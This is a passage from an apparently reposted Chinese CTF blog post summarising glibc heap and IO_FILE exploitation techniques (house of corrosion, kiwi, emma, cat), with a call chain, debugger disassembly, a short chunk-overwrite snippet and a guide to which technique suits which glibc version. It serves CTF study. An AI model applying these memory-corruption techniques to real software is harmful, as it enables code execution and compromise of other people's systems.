2.free掉堆块(此时目标位置会写入该堆块的地址)

编辑堆块的fd指针为要写入的值

3.申请回堆块实现攻击

在手里没有地址的情况下也可以实现任意地址写堆地址

作为一种工具,可以和多种技巧相结合:

当在程序中没有 Show 函数

并且无法使用任意申请来打 stdout

可以考虑使用本方法来打 stdout

并且同时设置

_flags、_IO_write_base、_IO_write_ptr、_IO_write_end 这四个位置写堆地址。

house of kiwi /emma 要注意IO_jump的距离如果过远,会导致size位过大难以伪造或申请,这时候可以换成IO_helper_jumps这种距离更近的跳表。https://blog.e4l4.com/posts/Dest0g3

迎新赛/#dest0g3_heap

house of corrosion还可以实现libc上在fastbinsY之后的数据泄露。

利用 free 时会把此堆块置入 fastbin 的头部,所以 free 后在此堆块的 fd 位置的内容,就是目标位置之前的内容。通过show堆块就可以读取 LIBC 上某个位置的内容。

适用场景

劫持global_max_fast是前提,方法有很多

1.largebinattack写大值

2.直接申请到global_max_fast

3.题目自身功能

技巧杂谈

在适用这种方法配合别的IO打法,往往会用来改topchunksize配合触发错误流。先伪造一个0xc1的chunk,触发的时候要注意可申请size的范围,如果无范围那直接申请0xffff即可,有范围限制的话,就要注意把global_max_fast改回来。

for i in range(8):      edit(8, 'x00' * 0x88 + p64(0xC1) + 'x00' * 0x10)      dele(21)edit(22, p64(0x80))add(0x300)


IO_file 利用总结

house of cat

利用链

__malloc_assert->__fxprintf->locked_vfxprintf->__vfprintf_interna->__vfprintf_internal->_IO_wfile_seekoff->_IO_switch_to_wget_mode(_IO_WOVERFLOW)
//_IO_WOVERFLOW是一个宏调用函数#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)//这里的rdi指向IO结构体头部0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]

适用场景

2.31~

利用技巧

可以通过构造堆风水,可以实现仅用一次largebinattack实现无exit场景下的IO攻击(劫持stderr为堆地址)

同时也兼容FSOP,改偏移即可


注意事项:


1.进入_IO_wfile_seekoff函数时,rcx需是有值的,否则无法跳转_IO_switch_to_wget_mode


参考题目:https://blog.e4l4.com/posts/id=39/

参考文章:

https://bbs.pediy.com/thread-273895.htm

IO_file 利用总结

小结

暂时IO利用就到一段落了

后续遇到题就继续补充^^

  • 2.23 版本:由于对 vtable 的位置没有检测,可以在任意可控位置伪造一个 vtable,可以利用例如house of orange(FSOP)

  • 2.27 版本:对 vtable 的位置有了检测,考虑利用_IO_str_finsih 和 _IO_str_overflow这2张表,利用其中的某些函数修改为 system实现调用。

  • 2.28 – 2.33 版本:2.31以后开始有了key,但因为还是有hook,可以考虑House of pig。也可以纯IO,house of kiwi。

  • 2.34以后版本:没有了free_hook和malloc_hook,就不考虑劫持hook,根据是否可以执行刷新流,可以就者用house of banana,house of pig 以及house of emma,不可以就用house of kiwi

原文链接:https://blog.e4l4.com/posts/id=23/

IO_file 利用总结
IO_file 利用总结


原文始发于微信公众号(星盟安全):IO_file 利用总结

版权声明:admin 发表于 2023年8月12日 下午4:58。
转载请注明:IO_file 利用总结 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...